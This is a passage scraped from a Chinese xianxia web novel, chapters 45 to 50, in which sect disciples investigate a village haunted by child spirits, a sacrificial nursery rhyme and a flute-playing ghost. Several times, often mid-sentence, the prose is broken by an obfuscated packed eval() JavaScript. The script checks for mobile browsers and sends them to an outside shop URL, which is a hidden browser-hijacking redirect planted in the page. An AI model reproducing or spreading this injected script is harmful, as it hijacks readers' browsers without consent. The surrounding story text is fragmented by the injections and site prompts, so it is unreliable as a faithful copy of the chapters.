"你说两个月前这里并非只有你一个人看守,那么其他的看守人员都去了哪里?"傅霖向湘盈询问道。然而,湘盈听到他的问题后却转过头去,似乎并不想回答。 “你可以保持沉默,但我希望你能掂量清楚,主动说和被迫说在我这儿是两回事儿。”傅霖说到此处压低了声音,“如果你想这里的孩子活,那请你乖乖配合,除了选择相信我们你没有别的路可以走。” 湘盈虽然心中充满了无奈,但她也明白自己现在所处的境地。她知道,如果不配合,自己也许会受到惩罚,甚至可能还会连累到孩子们。于是,她咬了咬牙,开口说道:“那是祭祀过后没几日,有个孩子趁着晚上大家都在睡觉的时候溜了出去,被当晚轮值的发现并抓了回来。她们因看管不力被带走了,我寻思一连几日都没回来恐是再也回不来了。”说完,她的眼神变得黯淡。 “你为何没被带走?” “总得有个人留下来照顾这群孩子,那群男人又怎懂的如何跟孩子相处!况且溜出去的那孩子当晚跟我住的也不是同一屋。” “哪个孩子?” “就是……小展。”湘盈的目光落在了最前方的男孩身上。 傅霖回头望了过去,这不就是刚刚画九爪鱼的那个么? 其余人在检查完这座宅院以后,都一致认为这院子里并没有什么可疑的地方。 于是,项阳再次请汪秀文带他们去别的地方查看。 临行前,傅霖特意和湘盈说了一句:“我们接下的任务书并非来自康郡,所以,你这几日就安心照顾好孩子们吧。” 湘盈听到这句话,先是一愣,然后脸上露出如释重负的笑容。 众人继续前行,偶尔会路过一两间小房子。 汪秀文解释道:“这些都是给夜里轮值的人准备的休息室。” 说着,她又提到了当地的一个组织——坞会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170792|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据她介绍,坞会负责管理深塘坞的大小事宜,而那些轮值的人,就是坞会的成员。 这什么名字?听起来乌烟瘴气的。 江洵在心里吐槽道。 “坞会”是由村长从村子里的青壮年中精心挑选出来的,他们的主要任务就是在山上看守孕妇和孩子们。此外,他们还负责每天向山上运送食物和生活用品。对于这个组织是否还有其他用途,汪秀文虽然有所怀疑,但由于缺乏深入了解,所以并没有向项阳等人过多解释。 最后,他们来到了一个大宅院门前,这是他们在村里见到的最大的宅子,而且也是唯一有守卫站岗的地方。 “这儿就是姑娘们平日里住的地方了。”汪秀文轻声说道。 “坞会成员多吗?”项阳问道。 “其实拢共也没多少人,但在这地界儿却都是能说得上话的人。” 精挑细选? 傅霖看着门口那俩人挑了下眉,这个词是可以拿来形容门口的那两位二愣子么? 一个站没站样,一个坐没坐像的,他们坞长选人的标准是什么??? 难不成只要年轻力壮就可以了? 等等……俗话说人不可貌相,万一他们有什么自己不知道的特长和绝技呢?傅霖啊傅霖,做人还是不要太狭隘了! “如何?”项阳回头看向他们几人。 是把那两人打晕了闯进去呢,还是表明身份光明正大的走进去呢? 仝舟冷笑了一声,跟旁边的佐元成说道:“你去。” 佐元成闻言后点了下头,径直往大门处走去。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第45章 我怕黑 几人陆陆续续的按照白天来的那个洞口往回走,江洵依旧是走在最后的那一位。 只是刚走进地道没几步,身后便传来了孩子的声音…… “七只羔羊 凝视月亮 扑通扑通 跳入深塘 嘻嘻..... 跳入深塘!” 江洵回头望去,只见洞口上方趴着一个仅露出上半身的孩子,二人视线相交的那一刻,孩子忽然咧嘴笑了,而他的眼睛还是在阴森森的盯着江洵。 江洵心里咯噔一下,手不自觉地摸向腰间的匕首,却被一旁的傅霖捂住了眼睛,“别看。”他低沉着声音对江洵说道。 傅霖一开始本是想回头同江洵说一些今日的见解,可突然察觉身后江洵的脚步声不知何时已经停了下来,这让他不得不转过头去查看情况。 只见江洵站在原地一动不动,双眼直直地盯着前方的洞口,仿佛那里存在着什么吸引他的东西,可那个洞口分明空空如也,一个人影也没有。 傅霖的眼神变得凝重,他虽不知道山下的那些人究竟是怎么死的,但从目前的情况来看,很有可能是受到了声音的蛊惑或者是看到了不该的东西,毕竟大部分村民都已经猜到晚上听到动静是绝对不能开门的。 于是他急忙上前,伸手捂住江洵的眼睛,心中暗自懊恼自己为什么只有两只手,不能同时捂住江洵的耳朵和眼睛。他也顾不上江洵是否听到了自己的话语,紧紧抓住江洵的手臂,用力将他转过身来,带着他迅速往前走。 但凡我攥住的东西,谁来了都带不走! 当然!没有说江洵是东西的意思。 当然!也没有说江洵不是东西的意思。 只是这里并非是适合交手的地方,更何况越往前走通道便会越窄,真打起来对他们来说并无优势,甚至在这里连剑都拔不出来! 况且,仔细想想在自己家中溺死这种事儿无非有两种:一是被人摁在水池里,二是自己将头放在水池里,但无论哪一种都并非是真正意义上的自愿。 那么如此一来,那些人极有可能是在受到蛊惑的状态下或者在被控制的状态下死去的。 想到这里,傅霖心中不禁涌起一股寒意,他紧紧握住江洵的手,示意他不要轻举妄动只需默默跟着他走。 江洵方才其实并未受到什么影响,他只是在收回视线时突然发现那个孩子旁边似乎还爬着一个人,只是当时光线太暗,他还没来的及看清楚就被捂住了眼睛。 罢了罢了……谁让他的好师兄喜欢瞎操心呢。 几人没过一会儿就顺利的走出地道回到了坞长家,秦在锦先是去看了眼沛婶儿,发现她已经睡熟后才悄声的关门离开。 由于干净的客房本就没几个,项阳便住在了林惠婵二人之前收拾好的房间,并嘱咐他们五人晚上不要关窗,房间里的人轮流守夜。 “那你们三个人的幸福咯,每个人可以多睡一会儿。”仝舟打着哈欠说道。 “我还以为仝楼主会让佐兄自己熬个通宵呢。”秦在锦揶揄道。 “我是楼主,不是奴隶主!”仝舟哼了一声,带着佐元成回房了。 三人回屋后,秦在锦看了眼窗户,这昨天刚堵上的也算是白堵了。 “之前的那首童谣……你们还记不记得开头的几句歌词是什么?就是七只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170793|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羔羊往后三句。”江洵问道。 秦在锦右手抵在下巴上思考道:“嗯……我记得好像是——七只羔羊,妄捉月亮,彷徨彷徨,跳入深塘……” 果然! 江洵本以为是自己记错了,如今想来,在地道里听的那四句就是和他们之前所听的不一样,捉月改为了望月,跳塘之前也不再彷徨,这莫非是在传达什么? 是有关祭祀的具体仪式么? “谁先睡?”傅霖没有理会他们二人的对话,脱掉外衣躺在床上问道。 “你应该问谁先不睡。”江洵瞥了他一眼。 “按照惯例来讲,怪事儿一般都发生在子时,现在估摸着才亥时初,这个点都躺下眯一会儿,后半夜再轮流守着也一样。”傅霖一边说着,一边打着哈欠,然后调整了一下自己的睡姿,让自己更舒服一些。他确实感到非常困倦,因为今天走地道的时候一直弯腰行走,身体感觉不太舒服。而且,昨晚他的伤口处一直像有蚂蚁在啃咬一样瘙痒难耐,这让他整晚都无法安心入睡。此刻,他躺在床上,唯一想做的就是给自己来上一棍子,然后好好地睡上一觉。 “没事儿,我不是很困,你们先睡吧。”秦在锦坐在窗户边,轻轻地说道。他点燃了一支蜡烛,然后从怀里掏出一本医书,开始翻阅起来。烛光映照在他的脸上,显得格外宁静和专注。 他想赶在任务完成前找到一些能快速修复身体的方子,到时候一并配出来给她们留在这。顺便再找一下自己的药箱里还有没有比较滋补养生的药材,考虑到这地方出行不便,怕是外出买药也很困难,他能多留下些便就多给一些。 这章没有结束,请点击下一页继续阅读! 第46章 沈亦行 不知从何处传来的笛声悠扬在院中,其哀怨的曲调使得整个院子都弥漫着阴森的气息。 忽然间,另外一群鬼童从四面八方涌现出来,他们面目狰狞,冲着房门发出尖锐的叫声。 三间房门同时打开,几道身影鱼贯而出,几人对视一眼,心照不宣的握紧了手中的佩剑。院内顿时剑光闪烁,与鬼童的黑影交织在一起,一时间难解难分。 傅霖身手敏捷,剑招凌厉,每一次挥剑都带着决然的气势。而鬼童们则凭借着诡异的身法,不断地躲避和攻击。 他手中的行野刚猛有力,江洵的献岁灵活多变,秦在锦也全力配合着他们将聚集在门口的鬼童逐渐逼至院子中心。 在激烈的混战中,仝舟看准时机,一剑刺中了一只鬼童的要害,它瞬间化作一缕黑烟消散。他还没来得及高兴,其他鬼童见状,纷纷开始疯狂地扑向仝舟。 “佐元成!!!!”仝舟大喊道。 院子中剑气纵横,喊杀声震天,约半炷香后又趋于平静。 几人疲惫地站在院子里,傅霖的衣衫已被汗水湿透,额头上也布满了细密的汗珠。 秦在锦一脸担忧的看着身旁的傅霖,“还好吗?” 江洵闻言将献岁收回鞘中看了过来,其实他方才从傅霖出剑得动作中能察觉出一丝不对劲,这人平日里与自己过招的时候虽留有余力但出剑速度极快且从不拖泥带水,可方才......傅霖的动作明显要慢上一些。 “死不了。”傅霖淡淡的回道。 “你怎么了?受伤了?”江洵问道。 “怎么?师弟这是心疼我?”傅霖故作轻松的笑了一声,而后掏出帕子擦了擦额间的汗。 “恒,我是怕你拖后腿。” “放心,师兄就是缺条腿也护得住你。” 就在几人以为能稍微松口气的时候,远处的笛声再次响了起来,只是其声音的源头并不在院子里,而是从村民居住的街道里传来。 “这他娘的还没完没了是吧!!”仝舟破口骂道。 他方才一个没留意被一个四岁左右的鬼童咬到了左臂,如今掀开衣袖查看时那块伤口已经开始往外渗血水了。 而他身旁的佐元成也好不到哪里去,那人只顾着解决仝舟身旁的鬼童,完全没有防备身后的危险,蹴鞠砸到后背的时候他险些觉得自己的腰要被砸断了。 那扔过来的哪里是蹴鞠啊,分明就是石头!!!又大又圆又重的石头!!!! 这院子里目前唯一比较从容的就是项阳了,相较于其他几人来说他仿佛像是没参加过方才那场斗争一般,粗气都没喘一口,甚至还有心情查看去那些鬼童留下的痕迹。 “出去吗?虽然外面可能会比这小小的院子里要恐怖十倍。”项阳气定神闲的问向他们五人。 天杀的,你不累么? 江洵默默在心里吐槽。 项阳问罢一跃跳到房顶,想要借此观察一下村子里的情况。 只见他那笑着的嘴角突然僵住了,这不看还好,一看心都凉了。 他缓缓的掏出了两支信号筒,看了眼身后的五人。 “任务等级有变,且不是你们几人可以解决的。”他跳下来同他们解释道。 哈??? 傅霖不信邪的跃上屋顶,想要看看究竟是什么样的情景能让他说出方才那番话。可当他登上屋顶时,眼前的景象属实让他大吃一惊。 目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170794|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所及之处皆是怨灵,数量之多让人瞠目结舌。而且这些怨灵形态各异,有的是天真无邪的孩童正在玩耍,有的是妙龄的女子翩翩起舞,还有得是怀孕的妇女满脸忧愁地在抚摸着自己的肚子。而不远处的田地间,还有一些男子在徘徊行走,仿佛在寻找什么。 若只是一些鬼童的话,这里可以是戊级,但现在看来,显然已经升到了丁级。更糟糕的是,他们至今还未找到那个吹笛子的幕后操纵者。 傅霖不禁皱起眉头,心中暗自担忧。他下意识地揉了揉肩膀的伤口,一阵刺痛传来。如果在没有受伤的情况下,他或许还有一战之力搏一搏,可身负重伤的他面对如此众多的怨灵,实在力不从心。 “发吧,若没人来,我们今晚恐怕得耗死在这里。”傅霖无奈地对项阳说道。 行吧!他认了,项阳的决定是对的。 哈????? 这次轮到仝舟不信邪了,究竟是什么样的场面连傅霖都拿不下?而当他看完以后,行!好像确实有点拿不下。 “我们要等增援来了再出去么?”仝舟问道。 “不妥,眼下外面百鬼夜行,有些小鬼已经开始挨家挨户地敲门了,若是等人来了再出去怕是人都要死完了。”傅霖分析道。 如果只是因为顾虑自己会受伤而按兵不动,那么他们不仅无法完成任务,还会导致更多的生命受到威胁。若能确定增援的人能够及时赶到,他们或许还有理由不出手;可在不确定的情况下,他们的行为便是失职,是视百姓的安危于不顾。 项阳手中握着两支颜色不一的信号筒,一支用于传达任务等级有误,另一支则是请求增援。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第47章 秦念淑 沈亦行此刻注意的却是江洵腰间挂着的香囊,只是那眼神不像是在打量,而像是在疑惑。 傅霖见状打趣道:“沈前辈莫不是看上了我师弟的香囊?您若是喜欢得空了派人给您送一些,别的不说,香囊的话他们三阁管够!” 沈亦行随即收回了目光,淡淡说道:“谈不上喜欢,只是看着熟悉罢了。” “你自己来的么?”仝舟贴过去问道。 因着他俩年龄相仿,仝舟也就没说那些浪费时间的客套话。 “还有秦念淑。”他说完这句又觉得稍有不妥,便紧接了句:“她在隰城行医已有些时日。” “嗐!沈兄无需多言,都知道你俩关系好!”仝舟露出一副兄弟明白,兄弟都懂的表情。 沈亦行疑惑地看了仝舟一眼。 “你俩时常一起做任务,总是出双入对的,这久而久之大家不就都知道了。还有传言说二位青梅竹马、两小无猜,那以后定是要结为夫妻的。” “我与她确实是少时相识,但那些无中生有的话仝楼主就莫要再说了,有损姑娘声誉。” 仝舟被他反驳也没下脸子,只是陪笑道:“好好好,不说不说!” 沈亦行又继续问道:“记录员何在?” “信号发送后以后他便上山了,山上还有两位姐姐也需要援助。”江洵指着沈亦行身后的那座山说道。 自沈亦行出现后他就没有开口说过话,不知为何,他总觉得在沈亦行身上有一种莫名的熟悉感,明明两人才第一次见面。 “沈兄打算如何应对这满村的怨灵?倘若是你出手的话那全部肃清也用不了多少时间。”仝舟擦拭好自己的宝剑后将其收了回去。 “以杀止怨非上策。”沈亦行平静地说道,随后他将灵力汇聚于右手,一股淡淡的白光从他手中泛起,并迅速向外扩散,直至笼罩整个村庄。 这一幕让江洵惊愕不已,他瞪大了眼睛,难以置信地看着眼前的沈亦行。他并不是惊讶沈亦行会使用蕴灵之术,而是震惊于他在蕴灵时所散发出的灵力与江挽如出一辙,都是纯净至极的白。 而一旁的傅霖也不禁挑起了眉头,温如玉曾经跟他提过几句,沈亦行能够登上今朝榜第一名,不仅仅是因为他完成的任务数量众多,更重要的是他的修为高深,剑法精湛,尤其擅长将自身灵力运用得炉火纯青。 此外,温如玉还提到,如果今朝榜和其他榜单合并,沈亦行的实力足以令那些长期占据高位的老家伙们大吃一惊。 有些人在高位待久了,就会变得愈发松懈。 傅霖是见过江洵的蕴灵的,他能探查到的范围并不广,甚至自身灵力向外扩散的速度也远不及沈亦行。 原本他是不在意蕴灵之术的,如今看了沈亦行的,倒是让他开了眼。 只可惜,他的体质学不了此术。 “抓到了。”沈亦行随意掏出一张符纸并以血为墨在上面写了一串字符,随即衣袖一挥,那符纸便原地消散了。 “这是何意?”仝舟不解的问道。 “射人先射马。” 擒贼先擒王! 秦在锦在心里默算着他们能顺利逃脱的概率,他手里的种子已所剩无几,即便是能安全的从这个门走出去,也不能保证他们能安全的检查完所有房子。 眼前的这群女子和那些鬼童明显不是一个等级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170795|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,况且不远处的田地里还有另外一批怨灵聚集在那。 得想办法…… 只是在他想到完美的解决之策时,一旁的佐元城已经提剑挥了过去。 “啧……”秦在锦无语。 果然还是和江洵在一起更让他放心,这打打杀杀的莽夫属实不适合并肩作战。 “哈哈,公子可真不懂怜香惜玉啊!”为首的女怨灵轻笑一声,声音婉转悠扬,却又带着几分阴森诡异。只见她随机从手中变幻出一把寒光闪闪的弯刀,刀身闪烁着幽冷的光芒。随着她的一声令下,其他女子纷纷拿出弯刀,动作整齐划一,然后向四周跑去,十分默契地将他们二人包围在一个紧密的矩阵之中。 佐元城的剑在砍至那女子的脖颈时,被她向后仰去的身姿巧妙避开了,与此同时挥动弯刀朝佐元城的手臂攻击。这二人你来我往,打得难舍难分。而秦在锦也没有闲着,他迅速将豆子撒在自身周围,形成一道防线。虽然这些豆子无法直接定住怨灵,但至少可以阻挡她们的进攻。 就在这时,佐元城和女怨灵的战斗越发激烈。女怨灵的刀法凌厉,每一刀都带着致命的威胁;而佐元城则凭借敏捷的身手一次次化解对方的攻势,剑与刀相互碰撞,发出清脆的声响。 另一边,秦在锦紧紧盯着四周的怨灵。他深知这些怨灵的速度极快,如果不小心让她们突破了防线,他的计划就失败了。 他本想的是当四周的怨灵一起进攻过来时,他让藤蔓迅速破土而出将她们隔绝在外,然后再借机跃至上方的屋顶,他们从屋顶过的时候不仅能看到院子里的情况,还能躲避街道里的小鬼。 这章没有结束,请点击下一页继续阅读! 第48章 拍马屁 只要不留下痕迹,阿娘就不知道他来过。 只要不知道他来过,阿娘就不会伤心难过。 江洵内心五味杂陈地看着渺渺,羡慕么?倒也不羡慕,毕竟自己从未拥有过阿娘的怀抱,也不记得阿娘的模样。 傅霖伸手轻轻拍了拍江洵的后背,他自是知道江洵的身世,所以也知道此情此景会让他感触良多。 怨灵之所以还存活于世,大抵是有想见却未见的人以及想做却未能做的事。 如今渺渺见到了,他没有遗憾也无所求了。 在他消失之前走到沈亦行身边,同他讲道:他们大多数皆是被笛声召唤而来,吹笛之人是不久之前被献祭的吴悠。笛子原本是坞神的贴身之物,只是不知为何会在吴悠手里,若是找到她或许能找到一些有用的线索。 随着渺渺走了以后,他们几人也离开了坞宅。 门关的瞬间,沛婶儿的眼角流下了一滴泪。她今晚梦到了渺渺,那孩子还笑着同她说再见呢。 “今年的献祭名单有吗?”沈亦行问道。 “没有,我们在书房里找过,没有发现这种东西。”傅霖回,后来他仿佛又想到了什么,继续说道:“会不会这村子还有隐藏的地方是我们没有发现的,仔细想来大院儿里的女子年纪最小的是十八九岁以上,可湘盈院中的孩子最大的也不过十四岁,那么中间年龄段的孩子去哪了?” “不单单是女子,这两日似乎也没有见过十六七岁的男子。”江洵补充道。 “老沈!!!!” 就在几个人都沉浸在自己思绪中的时候,不远处突然传来一个声音,打破了这片刻的宁静。 众人转头望去,只见秦念淑正挥舞着双手向他们打招呼,脸上洋溢着灿烂的笑容,那模样就像是一个天真无邪、乖巧伶俐的大小姐。 当然,如果忽略掉她身后两只垂着脑袋的"小鸡仔"…… 秦念淑站在那处没有动,等着沈亦行他们过去找她。 “如何?” “尚可。” “啧……没劲儿。”秦念淑叹了口气,而后又想到什么,将躲在身后的秦在锦拽到跟前儿,“平日里教你的礼仪都喂到狗肚子里去了?见到兄长还不快打招呼问安?” 傅霖听到这句话,十分赞同的看了眼身侧的江洵。他还记得他们第一次见面,那时的江洵就是十分没有礼貌,连句师兄也不叫,还让他闪开别挡道。 真是……想想就生气! 秦在锦立马低头毕恭毕敬的对沈亦行说道:“沈哥好!谢谢沈哥赶来救我们!” 佐元城那厮也不自觉的跟着喊道:“谢谢沈哥!” 秦念淑这才满意的点头笑了,嗯嗯!孺子可教! “阿锦又长高了。”沈亦行温柔地摸了摸他的头。 “天天吃那么多,能不长个儿么。”秦念淑回。 “我才没有吃很多……我还没江……”秦在锦刚想反驳,又改口道:“哦!对了阿姐!这位是江洵。这些时日以来都是他同我一起过任务的,平日里也对我很是照顾,他师傅就是献岁阁三阁的江阁主。嗯……还有他旁边那位是……” “我知道,傅霖——温如玉的徒弟是吧。” “秦姐姐好记性!仅见过一面就记住了。”傅霖笑着回。 “嗐!我这人没啥别的爱好,就喜欢看美人儿。”秦念淑十分得意地说完这句话,看向了一旁的江洵,而后蹙了下 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秦在锦整理了一下思绪回答道:“是有些不对劲儿的地方。第一点,这些孩子不可以直接从大门进,但其他的怨灵却可以;第二点,村子里的年轻男性很少,大部分都是中年男子;第三点,田间的怨灵并不受笛声控制,同时也不会主动攻击我们,他们好像在专心得找东西,但具体找什么尚不清楚;第四点也就是最重要的一点,这个村子一定还存在着我们没有发现的地方,而那里才是深塘坞隐藏最深的秘密。” “最后一点,我们方才也推敲过,如果需要证实的话可以先上山。”沈亦行回道。 “等等!沈兄,咱不留个人儿在山下守着么?万一那群怨灵再回来呢?”仝舟接话道,他可不想到时候两头跑。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第49章 任鸟飞 “姣姣,哪怕你把这孩子杀了也无济于事,那怨灵既可以上他的身子自然也可以入其他孩子的身体,咱们眼下并没有更好的办法。”林惠婵冷静的说道。 这孩子若只是单纯的被控制还好说,可他不仅能说能笑,还行动自如,这并非是被操纵。 楼淑姣冷哼了一声后,收回了宝剑。然后拿出项阳给的信号筒,走出院外没有丝毫犹豫的将其点燃。 “什么游戏?说来听听。” 玩游戏是为了拖延时间,发信号是为了警示这孩子莫要轻举妄动,毕竟不久就会有人上山支援。然而,这孩子却只是耸了耸肩,面带笑容地转身走进了院子。其他孩子们见状,纷纷从凳子上站起身来,亦步亦趋地站成了一个圆,将他们围在了中间。 "很简单。姐姐们这两日应该都有听到过一首歌谣,就是不知这词有没有熟记于心。"那孩子说完这句话后,面向林惠婵和另一名女子,只见他微微抬起左手放置身侧,一只蹴鞠随即出现在他的掌心。 "当接住球的时候,需念出下一句唱词。若念错词或没有接住球,则需接受游戏的处罚。" 林惠婵面露难色,接球还好说,但歌词……说实话,她并没有完整地记下来。 “惩罚是什么呢?”楼淑姣问道。 “就是被蹴鞠砸一下而已。”那孩子笑道,仿佛事情真的如他所说的那般简单。 可尸体不会撒谎,湘盈身上的淤青和血痕就足以说明玩的时候是蹴鞠,但真砸到身上的时候就并非蹴鞠了。 “姐姐在担心什么?是还没有记清楚歌词的内容么?没关系,我让他们再唱一遍就是了。” 他右手微抬至耳侧,缓缓打了一个响指,围成圈的孩子立马如同木偶一般面无表情的唱起了歌。 风鸣呦呦,坞水苍苍。七只羔羊,妄捉月亮。彷徨彷徨,跳入深塘。阿娘阿娘,莫要悲伤。坞水之下,富丽堂皇。 坞水荡漾,红月在上。以我之身,献予坞神。以我之血,抵御洪劫。魂归故乡,是梦一场。唯愿阿娘,福寿安康。 歌谣结束的同时,山下的两支信号筒也被点燃发送。 林惠婵二人不可置信的往门外看去,难不成山下也...... “好了,二位是谁先参与游戏呢?” 他抬头望了望天,注意到了天空的结印,但依旧背着手悠哉地在圈子里踱步,好似这场游戏他注定就是赢家。 “若我们赢了,这里所发生的一切你当真全盘托出?”林惠婵问道。 “当然!我和你们这群爱撒谎的大人可不一样。” 林惠婵深吸一口气,想要上前一试,但被楼淑姣拦住了。 “我来。” 纵使他说的再诚恳,楼淑姣也信不过眼前这个孩子,毕竟人心隔肚皮,谁知道这小子心里打的什么主意?但是如果真要派人去,她又不愿意让林惠婵以身犯险,如果遇到危险,她可能根本来不及反应。而相比起来,她的反应能力更快一些。 那小孩见楼淑姣答应,便把手中的蹴鞠抛给了楼淑姣:“姐姐先来吧!” 楼淑姣抬手接过,又随意地扔在脚边,趁其不备之时利索的将蹴鞠踢了出去并念出了第一句歌词。 然而楼淑姣并没有意识到,这场游戏并不是单纯的踢球和念词这么简单。从最开始孩子的站位就已经被计划好了,他们围成圈的目的只有一个,那就是无论她把球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170797|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢到何处,它总会来到其中一个孩子的跟前儿,所以只要那个孩子在其停下之前踢回去并念出唱词,那怨灵就不会输。 林惠婵愤怒的吼道:“你这算哪门子游戏?如此的不公平!这你又怎么会输?” “想要真相又不想付出代价,哪有那么好的买卖。”那孩子笑道。 蹴鞠再次踢回给楼淑姣,但她并没有过多的惊讶,迅速地调整好状态,奋力地踢了回去并念出第三句词。这一次,她不仅仅是简单地踢球,而是巧妙地将灵力融入其中。对于这些未经训练的孩子们来说,这样的球技实在是超出他们的能力范围。 果然不出所料,当球飞向那个孩子时,他正准备抬脚接球,但却完全无法抵挡球的力量。球如闪电般直接冲了过去,结结实实地砸在了孩子身上。毫无防备的他,身体失去平衡,直直地向后倒去。尽管他被球砸得摔倒在地,但他的口中依然清晰地念着第四句歌词, “你输了。”楼淑姣活动了下脚腕,平淡的说道。 被怨灵附身的孩子立马变换了脸色,一脸阴沉的盯着楼淑姣。 “怎么不笑了?是生性不爱笑么?”楼淑姣明知故问。 我管你人多还是人少,无非都是一群被操纵的棋子罢了。 既是棋子,就总有被吃掉的时候。 “如果我没猜错的话,你的真身应该就是这个村子里所谓的坞神。” “是。” “笛子是你用来杀人的凶器么?”楼淑姣追问道。 “不全是。” “这些时日山下的人可都是被你所杀?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第50章 月入怀 江洵看了一眼四周,发现不仅没有傅霖还没有另外三人的身影,于是问道项阳:“傅霖和沈前辈在何处?” “嗯?我没见到他们。不过沈前辈...是哪位沈前辈?”项阳回。 “沈亦行前辈。他们方才同我们一道儿上山,行至半道儿发现了一些线索我们几人便分开走了,他们按理说应该早就到山上了才对。” 难不成...遇到了事情?江洵在心里想道。 “那就奇怪了。”项阳蹙了下眉头,自他上山以后,且不说没有遇到过其他人,山上就连只鬼影儿都没见着儿。随后他又问道:“不过无妨,沈亦行在的话,傅霖他们也不会有事。倒是你们,有查到什么线索么?” “有是有,但是具体如何尚不可知。在东北方向有块地被高高的围墙围住了,还有能够直达山下的阶梯,以及进出的码头,秦念淑姐姐先进去了,让我二人回来传话。”江洵说道。 “好,那我先同你们过去。”项阳打算收拾收拾同他们离开。 “我也...” “楼姑娘要不就先留在这里,我怕那群人没有得逞还会再回来。况且若都走了,这群孩子和那些怀了孕的姐姐们又该怎么办?”楼淑姣话还没有说完便被秦在锦打断了。 他们如何干我何事?楼淑姣心里这般想着,但嘴上却无法说出这句话。因为林惠婵死前跟自己说过:“孩子们太苦了。”这句简单却真挚的话语,让楼淑姣心中一软,再也狠不下心来。可杀死林惠婵的凶手很可能就藏身在江洵所言之地,一时之间,她不知道该如何抉择。 此时,江洵上前一步,轻声问道:“那些人可有什么明显的特征?如果我们真的遇到了,我可以将他们绑起来,交由楼姑娘亲自处置。”他深知楼淑姣在顾虑着什么,如果换作是他,面对如此亲近之人在自己面前死去,他也绝不可能无动于衷、坐以待毙。 楼淑姣沉默片刻后,缓缓开口道:“他们身穿黑色衣物,所佩戴的武器皆是长刀,而且看起来都非常年轻。其中杀死婵儿的那个男子,右手虎口处有一个明显的胎记,这一点我记得清清楚楚。” “好,我记下了。”江洵回。 “谢谢江小公子。” “等人带回来了再谢。”江洵说完这句话后,便迈步走进屋里,他心里想着要瞧瞧这些孩子与山下碰到的怨灵有何差异。然而,进入屋子之后却发现这群孩子们都已经入睡了,他不禁无奈地摇了摇头,他们这个年纪怎么睡得着的? 正当他准备转身离去时,突然察觉到有些不对劲。他再次扫视了一遍房间,下午画九爪鱼的那个小男孩不在这里!他又仔细地查看了一圈,的的确确不在里面。 这时,项阳也走进屋来,询问道:“怎么了?” 江洵回答说:“所有孩子都在这里吗?” 项阳迟疑片刻,回答道:“嗯……大概吧。下午的时候我没太留意具体有多少人。不过按照楼姑娘所说,她来了以后这里的院门才打开,我们也就默认孩子们都在这里了。难道少了一个?” 江洵点点头,说道:“坐在最前排最右边的那个孩子不见了。” “为今之计还是先去你们所说之地,孩子若被带走了或许也在那里。”项阳说道。 江洵点了点头没有说话,若是被带走为何不同这些一起带走,还要分两次来捆人?他更倾向于那孩子是自己逃走的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 